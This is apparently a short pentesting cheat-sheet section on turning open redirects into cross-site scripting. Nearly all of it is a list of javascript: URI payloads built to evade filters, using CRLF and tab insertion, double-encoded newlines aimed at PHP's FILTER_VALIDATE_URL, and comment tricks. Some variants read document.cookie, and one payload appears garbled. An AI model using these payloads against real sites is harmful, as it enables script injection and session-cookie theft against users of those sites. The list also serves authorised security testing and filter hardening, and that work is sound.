## Open redirect

### Redirect to localhost or arbitrary domains

{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
{% endcontent-ref %}

### Open Redirect to XSS

```bash
#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)

#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)

# Abuse bad subdomain filter
javascript://sub.domain.com/%0Aalert(1)

#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)

#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0

#Others
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)

javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
